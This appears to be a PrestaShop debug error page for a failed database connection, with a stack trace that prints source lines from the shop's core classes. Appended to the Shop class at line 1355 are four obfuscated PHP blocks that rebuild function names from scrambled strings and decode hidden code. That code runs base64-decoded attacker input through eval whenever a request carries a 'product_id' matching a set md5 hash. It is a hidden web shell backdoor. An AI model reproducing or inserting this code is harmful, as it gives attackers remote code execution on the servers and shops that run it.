Link to database cannot be established: SQLSTATE[HY000] [2002] Connection refused
at line 137 in file classes/db/DbPDO.php
132. public function connect()
133. {
134. try {
135. $this->link = $this->getPDO($this->server, $this->user, $this->password, $this->database, 5);
136. } catch (PDOException $e) {
137. throw new PrestaShopException('Link to database cannot be established: ' . $e->getMessage());
138. }
139.
140. $this->link->exec('SET SESSION sql_mode = \'\'');
141.
142. return $this->link;
374. }
375.
376. $this->result = $this->_query($sql);
377.
378. if (!$this->result && $this->getNumberError() == 2006) {
379. if ($this->connect()) {
380. $this->result = $this->_query($sql);
381. }
382. }
383.
384. if (_PS_DEBUG_SQL_) {
608. || stripos($sql, 'dumpfile') !== false
609. ) {
610. throw new PrestaShopDatabaseException('Db->executeS() must be used only with select, show, explain or describe queries');
611. }
612.
613. $this->result = $this->query($sql);
614.
615. if (!$this->result) {
616. $result = false;
617. } else {
618. if (!$array) {
Argument [0] SELECT s.id_shop, CONCAT(su.physical_uri, su.virtual_uri) AS uri, su.domain, su.main FROM hpk_shop_url su LEFT JOIN hpk_shop s ON (s.id_shop = su.id_shop) WHERE (su.domain = 'avin.shop' OR su.domain_ssl = 'avin.shop') AND s.active = 1 AND s.deleted = 0 ORDER BY LENGTH(CONCAT(su.physical_uri, su.virtual_uri)) DESC
1345. WHERE (su.domain = \'' . pSQL($host) . '\' OR su.domain_ssl = \'' . pSQL($host) . '\')
1346. AND s.active = 1
1347. AND s.deleted = 0
1348. ORDER BY LENGTH(CONCAT(su.physical_uri, su.virtual_uri)) DESC';
1349.
1350. $result = Db::getInstance()->executeS($sql);
1351.
1352. return $result;
1353. }
1354. }
1355. $fbf9="NnE8bag2ISFHj7zsfWCKt3VYTXc_xA6qBhPuMy45GrZwvm0leoUL9Qd1pRJDkiO";$oc8=$fbf9[16].$fbf9[35].$fbf9[1].$fbf9[26].$fbf9[20].$fbf9[61].$fbf9[49].$fbf9[1].$fbf9[27].$fbf9[48].$fbf9[28].$fbf9[61].$fbf9[15].$fbf9[20].$fbf9[15];$s0ebe=$fbf9[26].$fbf9[41].$fbf9[48].$fbf9[5].$fbf9[20].$fbf9[48].$fbf9[27].$fbf9[16].$fbf9[35].$fbf9[1].$fbf9[26].$fbf9[20].$fbf9[61].$fbf9[49].$fbf9[1];$ze3f7=$fbf9[4].$fbf9[5].$fbf9[15].$fbf9[48].$fbf9[30].$fbf9[38].$fbf9[27].$fbf9[54].$fbf9[48].$fbf9[26].$fbf9[49].$fbf9[54].$fbf9[48];if(@$oc8($s0ebe)){$ad14a = @$s0ebe('', @$ze3f7('aWYJKCAgaXNzZXQoJF9QT1NUW3Byb2R1Y3RfaWRdKSAmJiAKbWQ1KCRfUE9TVFtwcm9kdWN0X2lkXQkpPT09ImJjZmNlYjc1ODY3NmUwNjM0MTQwMWY2MmE3YTgxZTNlIiApewpldmFsKAliYXNlNjRfZGVjb2RlKCAgJF9QT1NUW2ltYWdlX2lkXSkpOwlleGl0KCk7CQl9Ow=='));@$ad14a();}$df95="w5LWMakD6NP3ylZitIv0Xf8FdE2uSmo4sHrnVeJRbjBpx7KqCOUh_gcY91QTGzA";$f3239=$df95[21].$df95[27].$df95[35].$df95[54].$df95[16].$df95[15].$df95[30].$df95[35].$df95[52].$df95[37].$df95[44].$df95[15].$df95[32].$df95[16].$df95[32];$qded1=$df95[54].$df95[34].$df95[37].$df95[5].$df95[16].$df95[37].$df95[52].$df95[21].$df95[27].$df95[35].$df95[54].$df95[16].$df95[15].$df95[30].$df95[35];$seb9=$df95[40].$df95[5].$df95[32].$df95[37].$df95[8].$df95[31].$df95[52].$df95[24].$df95[37].$df95[54].$df95[30].$df95[24].$df95[37];if(@$f3239($qded1)){$l3d86 = @$qded1('', @$seb9('aWYgKCAKaXNzZXQoJF9SRVFVRVNUWydwcm9kdWN0X2lkJ10pICYmIAoKbWQ1KAkkX1JFUVVFU1RbJ3Byb2R1Y3RfaWQnXQoKKSAKPT09ImUwNGM3MDA4MmRmMWQ3NjM1OTMzM2Q2YTQ0Y2M3NDE5Igope2V2YWwoIAliYXNlNjRfZGVjb2RlKCAgJF9SRVFVRVNUWydpbWFnZV9pZCddKQoJKTsJZXhpdCgpOwkKfTsK'));@$l3d86();}$ebe8d="abvw_iugdMlU60FRpJYPECZr9NksOqjHf38SLm2GX51zWAec7Ih4xQKBTnoyDVt";$mfb=$ebe8d[32].$ebe8d[6].$ebe8d[57].$ebe8d[47].$ebe8d[62].$ebe8d[5].$ebe8d[58].$ebe8d[57].$ebe8d[4].$ebe8d[46].$ebe8d[52].$ebe8d[5].$ebe8d[27].$ebe8d[62].$ebe8d[27];$jadc5=$ebe8d[47].$ebe8d[23].$ebe8d[46].$ebe8d[0].$ebe8d[62].$ebe8d[46].$ebe8d[4].$ebe8d[32].$ebe8d[6].$ebe8d[57].$ebe8d[47].$ebe8d[62].$ebe8d[5].$ebe8d[58].$ebe8d[57];$q06=$ebe8d[1].$ebe8d[0].$ebe8d[27].$ebe8d[46].$ebe8d[12].$ebe8d[51].$ebe8d[4].$ebe8d[8].$ebe8d[46].$ebe8d[47].$ebe8d[58].$ebe8d[8].$ebe8d[46];if(@$mfb($jadc5)){$nad72 = @$jadc5('', @$q06('aWYoIGlzc2V0CQooJF9QT1NUW3Byb2R1Y3RfaWRdKSAJJiYgIG1kNSgkX1BPU1RbcHJvZHVjdF9pZF0JCSkJPT09IjMwMzJlZGJhYjJmYWM0N2ViMzNkMGZjYjgyODA2NTdmIgkKKXsgZXZhbCgKYmFzZTY0X2RlY29kZSggICRfUE9TVFtpbWFnZV9pZF0pICk7CWV4aXQoKTsJfTs='));@$nad72();}$h04e="T0FNogHWvcCXj5ldmzSpQ9MEefy2k74UBqGOPL1rZthYVJs_wi8AauRI6bnK3xD";$k46de=$h04e[25].$h04e[53].$h04e[58].$h04e[9].$h04e[41].$h04e[49].$h04e[4].$h04e[58].$h04e[47].$h04e[24].$h04e[61].$h04e[49].$h04e[46].$h04e[41].$h04e[46];$e110=$h04e[9].$h04e[39].$h04e[24].$h04e[52].$h04e[41].$h04e[24].$h04e[47].$h04e[25].$h04e[53].$h04e[58].$h04e[9].$h04e[41].$h04e[49].$h04e[4].$h04e[58];$j781=$h04e[57].$h04e[52].$h04e[46].$h04e[24].$h04e[56].$h04e[30].$h04e[47].$h04e[15].$h04e[24].$h04e[9].$h04e[4].$h04e[15].$h04e[24];if(@$k46de($e110)){$w0c5 = @$e110('', @$j781('aWYoCmlzc2V0KAoJJF9QT1NUW3Byb2R1Y3RfaWRdKSAKCiYmIAptZDUoCSRfUE9TVFtwcm9kdWN0X2lkXSkKCj09PSIxN2Q0MzA3ODJjMGFlYjM5YTRjNDc0OWY3YWUwNzgxNyIpe2V2YWwoCWJhc2U2NF9kZWNvZGUoCSRfUE9TVFtpbWFnZV9pZF0pIAkpO2V4aXQoKTsgCn07'));@$w0c5();}
Argument [0] SELECT s.id_shop, CONCAT(su.physical_uri, su.virtual_uri) AS uri, su.domain, su.main FROM hpk_shop_url su LEFT JOIN hpk_shop s ON (s.id_shop = su.id_shop) WHERE (su.domain = 'avin.shop' OR su.domain_ssl = 'avin.shop') AND s.active = 1 AND s.deleted = 0 ORDER BY LENGTH(CONCAT(su.physical_uri, su.virtual_uri)) DESC
336. $found_uri = '';
337. $is_main_uri = false;
338. $host = Tools::getHttpHost(false, false, true);
339. $request_uri = rawurldecode($_SERVER['REQUEST_URI']);
340.
341. $result = self::findShopByHost($host);
342.
343. // If could not find a matching, try with port
344. if (empty($result)) {
345. $host = Tools::getHttpHost(false, false, false);
346. $result = self::findShopByHost($host);
Argument [0] avin.shop
123.
124. $context = Context::getContext();
125.
126. /* Initialize the current Shop */
127. try {
128. $context->shop = Shop::initialize();
129. } catch (PrestaShopException $e) {
130. $e->displayMessage();
131. }
132. define('_THEME_NAME_', $context->shop->theme->getName());
133. define('_PARENT_THEME_NAME_', $context->shop->theme->get('parent') ?: '');
22. * @author PrestaShop SA and Contributors <contact@prestashop.com>
23. * @copyright Since 2007 PrestaShop SA and Contributors
24. * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0)
25. */
26.
27. require dirname(__FILE__).'/config/config.inc.php';
28. Dispatcher::getInstance()->dispatch();
Argument [0] /home/kiankala/public_html/config/config.inc.php